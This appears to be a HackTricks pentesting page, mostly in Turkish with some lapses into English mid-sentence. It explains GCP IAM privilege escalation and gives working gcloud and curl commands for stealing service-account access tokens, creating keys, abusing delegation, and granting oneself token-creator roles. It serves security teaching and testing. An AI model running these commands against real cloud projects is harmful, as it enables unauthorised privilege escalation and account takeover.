GCP - IAM Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

IAM

IAM hakkında daha fazla bilgi için:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Belirtilen izinlere sahip bir saldırgan, size atanan bir rolü güncelleyebilir ve size diğer kaynaklara ek izinler verebilir:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Bir vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için bir script burada bulunabilir ve bu yetkiyi kötüye kullanmak için bir python scripti burada mevcuttur. Daha fazla bilgi için orijinal araştırmaya bakın.

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Bahsedilen izinlere sahip bir saldırgan, bir Hizmet Hesabına ait bir erişim tokeni talep edebilecektir, bu nedenle bizden daha fazla yetkiye sahip bir Hizmet Hesabının erişim tokenini talep etmek mümkündür.

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Bir vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için bir scripti burada bulabilirsiniz ve bu yetkiyi kötüye kullanmak için bir python scriptini burada bulabilirsiniz. Daha fazla bilgi için orijinal araştırmaya bakın.

iam.serviceAccountKeys.create

Belirtilen izinlere sahip bir saldırgan, bir Hizmet Hesabı için kullanıcı tarafından yönetilen bir anahtar oluşturabilecektir, bu da bize GCP'ye o Hizmet Hesabı olarak erişim sağlayacaktır.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Bir vuln ortamın oluşturulması, istismar edilmesi ve temizlenmesi için bir script burada ve bu yetkiden yararlanmak için bir python scripti burada bulunmaktadır. Daha fazla bilgi için orijinal araştırmaya bakın.

iam.serviceAccountKeys.update'in bir SA'nın anahtarını değiştirmek için çalışmayacağını unutmayın çünkü bunu yapmak için iam.serviceAccountKeys.create izni de gereklidir.

iam.serviceAccounts.implicitDelegation

Eğer iam.serviceAccounts.implicitDelegation iznine sahipseniz ve bu izne sahip bir Service Account'un iam.serviceAccounts.getAccessToken iznine sahip olduğu üçüncü bir Service Account varsa, o zaman implicitDelegation kullanarak o üçüncü Service Account için bir token oluşturabilirsiniz. Açıklamaya yardımcı olacak bir diyagram burada.

Dokümantasyona göre belirtilmiştir, gcloud'un delegasyonu yalnızca generateAccessToken() yöntemini kullanarak bir token oluşturmak için çalışır. İşte API'yi doğrudan kullanarak bir token almanın yolu:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.signBlob

An attacker with the mentioned permissions will be able to GCP'de rastgele yükleri imzalamak. Bu nedenle, SA'nın imzasız bir JWT'sini oluşturmak ve ardından hedeflediğimiz SA tarafından imzalanmış JWT'yi almak için bir blob olarak göndermek mümkün olacaktır. For more information read this.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.

iam.serviceAccounts.signJwt

An attacker with the mentioned permissions will be able to iyi biçimlendirilmiş JSON web token'larını (JWT'ler) imzalamak. Önceki yöntemle arasındaki fark, google'ın bir JWT içeren bir blob'u imzalamasını sağlamak yerine, zaten bir JWT bekleyen signJWT yöntemini kullanmamızdır. Bu, kullanımı kolaylaştırır ancak yalnızca JWT'leri imzalayabilirsiniz, herhangi bir baytı değil.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.setIamPolicy

An attacker with the mentioned permissions will be able to hizmet hesaplarına IAM politikaları eklemek. Bunu, hizmet hesabını taklit etmek için ihtiyaç duyduğunuz izinleri kendinize vermek için kötüye kullanabilirsiniz. Aşağıdaki örnekte, ilginç SA üzerinde roles/iam.serviceAccountTokenCreator rolünü kendimize veriyoruz:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

The iam.serviceAccounts.actAs permission is like the iam:PassRole permission from AWS. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the iam.serviceAccounts.actAs involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.

Service account impersonation

Bir hizmet hesabını taklit etmek, yeni ve daha iyi ayrıcalıklar elde etmek için çok faydalı olabilir. Başka bir hizmet hesabını taklit etmenin üç yolu vardır:

  • Kimlik doğrulama RSA özel anahtarları kullanarak (yukarıda ele alındı)

  • Yetkilendirme Cloud IAM politikaları kullanarak (burada ele alındı)

  • GCP hizmetlerinde işler dağıtarak (bir kullanıcı hesabının ele geçirilmesiyle daha ilgili)

iam.serviceAccounts.getOpenIdToken

Belirtilen izinlere sahip bir saldırgan, bir OpenID JWT oluşturabilecektir. Bunlar kimliği doğrulamak için kullanılır ve bir kaynağa karşı herhangi bir örtük yetkilendirme taşımazlar.

Bu ilginç yazıya göre, hedef kitlenin (token'ı kimlik doğrulamak için kullanmak istediğiniz hizmet) belirtilmesi gerekmektedir ve hizmet hesabını ve JWT'nin hedef kitlesini belirten google tarafından imzalanmış bir JWT alacaksınız.

Erişiminiz varsa bir OpenIDToken oluşturabilirsiniz:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Sonra bunu servise erişmek için kullanabilirsiniz:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Bazı hizmetler, bu tür token'lar aracılığıyla kimlik doğrulamayı desteklemektedir:

Bir hizmet hesabı adına OpenID token oluşturma ile ilgili bir örneği burada bulabilirsiniz.

Referanslar

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated